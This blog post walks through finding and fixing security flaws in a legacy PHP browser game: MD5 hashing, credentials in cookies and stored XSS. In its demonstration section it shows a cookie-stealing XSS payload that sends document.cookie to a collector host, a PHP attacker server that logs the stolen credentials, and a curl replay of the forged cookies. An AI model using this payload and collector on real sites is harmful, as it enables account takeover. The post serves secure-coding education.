Loïc Faugeron Technical Blog

eXtreme Legacy 9: XSS Vulnerability 21/01/2026

🤘 Awakened by the sins of forgotten sanitization, the Cookie Burglar breaches the walls of client-side trust, stealing credentials from the altar of the Script Injector with its serpentine payloads! 🔥

In this series, we're dealing with BisouLand, an eXtreme Legacy application (2005 LAMP spaghetti code base). So far, we have:

  1. 🐋 got it to run in a local container
  2. 💨 written Smoke Tests
  3. 🎯 written End to End Tests
  4. 🧹 created and applied Coding Standards
  5. ⛃ migrated to PDO
  6. 🐘 upgraded PHP 5 to PHP 8
  7. 🏡 applied automated refactorings using Rector
  8. 🐘 migrated from MySQL to PostgreSQL

This means we can run it locally (http://localhost:43000/), and have some level of automated tests.

When migrating from the deprecated PHP extension mysql to PDO, we were expecting to find some SQL injection vulnerabilities, as the queries were written by concatenating user input.

But to our surprise, none of these were exploitable, as the user input was sanitised and validated (e.g. only 15 alphanumerical characters for the username, addslashes, htmlentities, ...).

Still, following the Secure PHP Database recommendations, we:

In today's article, we'll explore an actually exploitable vulnerability which allows an attacker to steal a victim's credentials and impersonate them.

The Vulnerabilities

First we're going to look at different sections of the code.

Authentication

Let's start with how logging in is handled:

// phpincludes/app.php
// ---------- Visitor Logs in

if ('POST' === $_SERVER['REQUEST_METHOD'] && isset($_POST['connexion'])) {
    // Ensuite on vérifie que les variables existent et contiennent quelque chose :)
    if (isset($_POST['pseudo'], $_POST['mdp']) && !empty($_POST['pseudo']) && !empty($_POST['mdp'])) {
        // Mesure de sécurité, notamment pour éviter les injections sql.
        // Le htmlentities évitera de le passer par la suite.
        $pseudo = htmlentities((string) $_POST['pseudo']);
        $mdp = htmlentities((string) $_POST['mdp']);
        // Hashage du mot de passe.
        $mdp = md5($mdp);

        // ---------- Persist the authentication (cookie creation)
        // La requête qui compte le nombre de pseudos
        $stmt = $pdo->prepare('SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo = :pseudo');
        $stmt->execute(['pseudo' => $pseudo]);

        // La on vérifie si le nombre est différent que zéro
        if (0 != $stmt->fetchColumn()) {
            // Sélection des informations.
            $stmt = $pdo->prepare('SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo = :pseudo');
            $stmt->execute(['pseudo' => $pseudo]);
            $donnees_info = $stmt->fetch();

            if (isset($_POST['auto'])) {
                $timestamp_expire = time() + 30 * 24 * 3600;
                setcookie('pseudo', $pseudo, ['expires' => $timestamp_expire]);
                setcookie('mdp', $mdp, ['expires' => $timestamp_expire]);
            }
        }
    }
}

And here's how the cookie based authentication is done:

// phpincludes/app.php
// ---------- Authenticate player (using cookie)

// Si on est pas connecté.
if (false == $_SESSION['logged']) {
    $id = 0;
    // On récupère les cookies enregistrés chez l'utilisateurs, s'ils sont la.
    if (isset($_COOKIE['pseudo']) && isset($_COOKIE['mdp'])) {
        $pseudo = htmlentities(addslashes((string) $_COOKIE['pseudo']));
        $mdp = htmlentities(addslashes($_COOKIE['mdp']));
        // La requête qui compte le nombre de pseudos
        $stmt = $pdo->prepare('SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo = :pseudo');
        $stmt->execute(['pseudo' => $pseudo]);

        if (0 != $stmt->fetchColumn()) {
            // Sélection des informations.
            $stmt = $pdo->prepare('SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo = :pseudo');
            $stmt->execute(['pseudo' => $pseudo]);
            $donnees_info = $stmt->fetch();

            // Si le mot de passe est le même (le mot de passe est déjà crypté).
            // Si le compte est confirmé.
            if ($donnees_info['mdp'] == $mdp && true === $donnees_info['confirmation']) {
                // On modifie la variable qui nous indique que le membre est connecté.
                $_SESSION['logged'] = true;
                // On créé les variables contenant des informations sur le membre.
                $_SESSION['id'] = $donnees_info['id'];
                $_SESSION['pseudo'] = $pseudo;
                $_SESSION['nuage'] = $donnees_info['nuage'];
                $page = 'cerveau';
            }
        }
    }
}

We can already spot some issues here.

Weak password hashing

First on the list is the following:

$mdp = md5($mdp);

MD5 is a weak password hashing strategy for several reasons:

This means stolen MD5 hashes can be reversed to plain text passwords, allowing attackers to access accounts and potentially other sites where victims reused passwords.

Credentials in cookies

Second on the list are the actual credentials (username and password) being stored in the cookies:

setcookie('pseudo', $pseudo, ['expires' => $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' => $timestamp_expire]);

This is fundamentally flawed:

Unsafe cookies

Third on the list is how we set the cookies:

setcookie('pseudo', $pseudo, ['expires' => $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' => $timestamp_expire]);

Here we're leaving the default settings for the following options:

Private Messages

Let's resume our review of the code as there's more, especially with the handling of private messages which are stored in the database as follow:

// phpincludes/fctIndex.php
function AdminMP($cible, $objet, $message, bool $lu = false): void
{
    $pdo = bd_connect();
    $castToPgBoolean = cast_to_pg_boolean();
    $castToPgTimestamptz = cast_to_pg_timestamptz();
    $message = nl2br((string) $message);

    $stmt = $pdo->prepare('SELECT COUNT(*) AS nbmsg FROM messages WHERE destin = :destin');
    $stmt->execute(['destin' => $cible]);

    $nbmsg = $stmt->fetchColumn();
    if ($nbmsg >= 20) {
        $Asuppr = $nbmsg - 19;
        $stmt = $pdo->prepare(
            'DELETE FROM messages'
            .' WHERE ('
            .'     destin = :destin'
            ."     AND timestamp <= CURRENT_TIMESTAMP - INTERVAL '48 hours'"
            .' )'
            .' ORDER BY id LIMIT :limit',
        );
        $stmt->execute(['destin' => $cible, 'limit' => $Asuppr]);
    }

    $timestamp = time();
    $stmt = $pdo->prepare(
        'INSERT INTO messages'
        .' (id, posteur, destin, message, timestamp, statut, titre)'
        .' VALUES(:id, :posteur, :destin, :message, :timestamp, :statut, :titre)',
    );
    $stmt->execute([
        'id' => Uuid::v7(),
        'posteur' => '00000000-0000-0000-0000-000000000001',
        'destin' => $cible,
        'message' => $message,
        'timestamp' => $castToPgTimestamptz->fromUnixTimestamp($timestamp),
        'statut' => $castToPgBoolean->from($lu),
        'titre' => $objet],
    );
}

And finally when they are displayed, the values from the database are printed directly:

// phpincludes/lire.php
if (true === $_SESSION['logged']) {
    $pdo = bd_connect();
    $castToUnixTimestamp = cast_to_unix_timestamp();

    if (isset($_GET['idmsg']) && !empty($_GET['idmsg'])) {
        $idmsg = htmlentities((string) $_GET['idmsg']);
        $stmt = $pdo->prepare('SELECT posteur, destin, message, timestamp, statut, titre FROM messages WHERE id = :id');
        $stmt->execute(['id' => $idmsg]);
        $donnees = $stmt->fetch();
        if ($donnees['destin'] == $_SESSION['id']) {
            if (false === $donnees['statut']) {
                $stmt2 = $pdo->prepare('UPDATE messages SET statut = TRUE WHERE id = :id');
                $stmt2->execute(['id' => $idmsg]);
            }
            $stmt = $pdo->prepare('SELECT pseudo FROM membres WHERE id = :id');
            $stmt->execute(['id' => $donnees['posteur']]);
            $donnees2 = $stmt->fetch();
            $from = $donnees2['pseudo'];

            $objet = $donnees['titre'];
            $message = $donnees['message'];
            $dateEnvoie = $castToUnixTimestamp->fromPgTimestamptz($donnees['timestamp']);
            ?>

<a href="boite.html" title="Messages">Retour à la liste des messages</a>
<br />
<p>Auteur : <?php echo stripslashes((string) $from); ?></p>
<p>Envoyé le <?php echo date('d/m/Y à H\hi', $dateEnvoie); ?></p>
<p>Objet : <?php echo stripslashes((string) $objet); ?></p>
Message :<br />
<div class="message"><?php echo bbLow($message); ?></div>

There's one last problematic issue with the code above.

XSS in private messages

Last, but certainly not least. We can see in AdminMP() that private messages are stored in the database without any validation or sanitization.

This allows players to write malicious code (HTML, JavaScript) in their message, which will then be permanently stored.

When they are displayed, these messages are again printed as is straight from the database, without sanitization, which means that any malicious code (HTML, JavaScript) will be displayed and executed.

This opens the door to Cross Site Scripting (XSS) attacks.


Attack demonstration

Security Vulnerabilities have been found, but can they actually be used?

Given the lack of httponly, secure and samesite options, it should be possible to obtain the credentials (and that's without physical access to the computer!).

Let's demonstrate how the attack can be executed in 4 steps:

  1. Attacker logs in, and sends a private message to their victim
  2. The victim logs in, checks their inbox, clicks to view the attacker's message
  3. On being displayed, the message executes the JavaScript which sends the victim's cookie to the attacker's server
  4. The attacker receives the cookie on their server, and can create forged cookies to authenticate as the victim

Here's an example of message an attacker can craft:

ALL YOUR BASE ARE BELONG TO US
<img src=x onerror="new Image().src='http://localhost:8080/steal?c='+document.cookie">
HAHAHA

The onerror attribute will execute the JavaScript when the image fails to load, and the new Image().src makes an HTTP request with the victim's cookies.

BisouLand screenshot

This will happen without the knowledge of the victim!

Here's a demo server we can use to test this:

<?php
/**
 * File (for demonstration purpose only): xl-9-attacker-server.php
 *
 * Receives stolen cookies from payloads injected into the BisouLand messaging system.
 * Demonstrates how credentials are exfiltrated via JavaScript in real attack scenarios.
 *
 * Usage: php -S localhost:8080 xl-9-attacker-server.php
 */

function server_log(string $message): void {
    $receivedAt = new \DateTimeImmutable()->format('D M j H:i:s Y');

    file_put_contents('php://stderr', "[{$receivedAt}] {$message}\n");
}

// Parse cookies
$cookies = [];
parse_str(str_replace('; ', '&', $_GET['c'] ?? ''), $cookies);

// Display to console
$username = $cookies['pseudo'] ?? '';
$password = $cookies['mdp'] ?? '';
server_log("c is for cookies, that's good enough for me");
server_log("  Username: {$username}");
server_log("  Password: {$password}");

// Send response
http_response_code(204);

The attacker will receive on their server:

[Tue Dec 2 18:11:34 2025] c is for cookies, that's good enough for me
[Tue Dec 2 18:11:34 2025]   Username: ln42
[Tue Dec 2 18:11:34 2025]   Password: 25d55ad283aa400af464c76d713c07ad

And can use them to access the victim's account:

curl --cookie 'pseudo=ln42; mdp=25d55ad283aa400af464c76d713c07ad' http://localhost:43000/cerveau.html

Remediation

Now that we've identified the vulnerabilities, let's fix them systematically.

Password hashing functions

Let's follow the secure PHP Password Hashing recommendations, which suggest using the password_*() functions available since PHP 5.5.

First in phpincludes/inscription.php, we'll hash the password with a proper algorithm (as of PHP 5.5, it's Bcrypt, but might be changed for Argon2 in the future):

- // Hashage du mot de passe avec md5().
- $hmdp = md5($mdp);
+ // Hashage du mot de passe avec Bcrypt ou Argon2.
+ $hmdp = password_hash($mdp, \PASSWORD_DEFAULT);

  $id = Uuid::v7();
  $stmt = $pdo->prepare(
      'INSERT INTO membres (id, pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
      .' VALUES (:id, :pseudo, :mdp, :confirmation, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, :amour)',
  );
  $stmt->execute([
      'id' => $id,
      'pseudo' => $pseudo,
      'mdp' => $hmdp,
      'confirmation' => $castToPgBoolean->from(true),
      'amour' => 300,
  ]);

Then in phpincludes/app.php when the visitor attempts to login, we use password_verify() to compare the hash stored in the database, and the plain text password provided:

  $mdp = htmlentities((string) $_POST['mdp']);
  // Hashage du mot de passe.
- $mdp = md5($mdp);

  // Si le mot de passe est le même.
- if ($donnees_info['mdp'] == $mdp) {
+ if (password_verify($mdp, $donnees_info['mdp'])) {

Auth Token in cookies

Next, we're going to follow the secure authentication in PHP with long term persistence, which recommend the creation of authentication tokens.

We're going to change the Persist the authentication (cookie creation) section, replacing it with the creation of an Auth Token which we'll save in the database, and then store in the cookie:

        // ---------- Persist the authentication (cookie creation)
        // Instead of counting matches, then selecting pseudonym
        // we directly select the account ID
        $stmt = $pdo->prepare(<<<'SQL'
            SELECT id AS account_id
            FROM membres
            WHERE pseudo = :pseudonym
        SQL);
        $stmt->execute(['pseudonym' => $pseudo]);
        /**
         * @var array<{
         *     account_id: string, // UUID
         * }>|false $account
         */
        $account = $stmt->fetch();
        if (false !== $account) {
            // Using Symfony\Component\Uid\Uuid
            // This is the "selector"
            $authTokenId = Uuid::v7();

            // 32 random hexadecimal characters
            // This is stored directly in the cookie
            $plainToken = bin2hex(random_bytes(16));

            // The hash is stored in the database
            // If the table's content is leaked, it won't give what the cookies hold
            $tokenHash = hash('sha256', $plainToken);

            $expiresAt = new \DateTimeImmutable('+30 days');

            $stmt = $pdo->prepare(<<<'SQL'
                INSERT INTO auth_tokens
                (auth_token_id, token_hash, account_id, expires_at)
                VALUES (:auth_token_id, :token_hash, :account_id, :expires_at)
            SQL);
            $stmt->execute([
                'auth_token_id' => $authTokenId,
                'token_hash' => $tokenHash,
                'account_id' => $account['account_id'],
                'expires_at' => $expiresAt->format('Y-m-d\\TH:i:s.uP'),
            ]);

            setcookie(
                'bl_auth_token',
                "{$authTokenId}:{$plainToken}",
                [
                    'expires' => $expiresAt->getTimestamp(),
                    // Using safer cookie settings
                    'httponly' => true,
                    'secure' => true,
                    'samesite' => 'Strict',
                    'path' => '/',
                ],
            );
        }

As suggested in the Paragonie article, we now store in the cookie <authTokenId>:<token>, this way it no longer contains the username and password, so obtaining it doesn't compromise the account entirely.

Here's a table to store these:

--------------------------------------------------------------------------------
-- Authentication Tokens
-- Allows secure Authentication Persistence
--------------------------------------------------------------------------------
CREATE TABLE IF NOT EXISTS auth_tokens (
    auth_token_id UUID PRIMARY KEY,
    token_hash VARCHAR(64) NOT NULL,
    account_id UUID NOT NULL REFERENCES membres(id) ON DELETE CASCADE,
    created_at TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,
    expires_at TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP + '30 days'
);

We also need to replace the entire Authenticate player (using cookie) section, to check if the cookie is valid we'll need to hash it, and then compare it to the hash in the database using the "constant-time" hash_equals

if (false === $_SESSION['logged'] && isset($_COOKIE['bl_auth_token'])) {
    [$authTokenId, $plainToken] = explode(':', $_COOKIE['bl_auth_token'], 2);

    $stmt = $pdo->prepare(<<<'SQL'
        SELECT token_hash, account_id
        FROM auth_tokens
        WHERE auth_token_id = :auth_token_id
          AND expires_at > CURRENT_TIMESTAMP
    SQL);
    $stmt->execute([
        'auth_token_id' => $authTokenId,
    ]);
    /** @var array{token_hash: string, account_id: string}|false $authToken */
    $authToken = $stmt->fetch();

    if (false !== $authToken) {
        $tokenHash = hash('sha256', $plainToken);
        if (hash_equals($authToken['token_hash'], $tokenHash)) {
            // Token is valid, get account details
            $stmt = $pdo->prepare(<<<'SQL'
                SELECT id, pseudo, nuage
                FROM membres
                WHERE id = :account_id
            SQL);
            $stmt->execute([
                'account_id' => $authToken['account_id'],
            ]);
            /** @var array{id: string, pseudo: string, nuage: int}|false $account */
            $account = $stmt->fetch();

            if (false !== $account) {
                // On modifie la variable qui nous indique que le membre est connecté.
                $_SESSION['logged'] = true;
                // On créé les variables contenant des informations sur le membre.
                $_SESSION['id'] = $account['id'];
                $_SESSION['pseudo'] = $account['pseudo'];
                $_SESSION['nuage'] = $account['nuage'];
                $page = 'cerveau';
            }
        }
    }
}

Escaping user input

Finally, we can fix the XSS vulnerability by escaping the user-generated content, such as the title and message content, before displaying it:

  <!-- phpincludes/lire.php -->
  <a href="boite.html" title="Messages">Retour à la liste des messages</a>
  <br />
  <p>Auteur : <?php echo stripslashes((string) $from); ?></p>
  <p>Envoyé le <?php echo date('d/m/Y à H\hi', $dateEnvoie); ?></p>
- <p>Objet : <?php echo stripslashes((string) $objet); ?></p>
+ <p>Objet : <?php echo htmlspecialchars(stripslashes((string) $objet), ENT_QUOTES, 'UTF-8'); ?></p>
  Message :<br />
- <div class="message"><?php echo bbLow($message); ?></div>
+ <div class="message"><?php echo bbLow(htmlspecialchars($message, ENT_QUOTES, 'UTF-8')); ?></div>

Conclusion

In this article, we've explored a critical vulnerability chain in BisouLand that allowed attackers to steal user credentials through XSS attacks.

The combination of insecure cookie handling (storing plain username and password, missing security flags) and unescaped user-generated content created a perfect storm for account takeover attacks.

The remediation steps we've implemented ensure that:

With these fixes in place, BisouLand is significantly more secure against the most common web application attacks.

⁉️ What do you mean, there's no dependency injection""?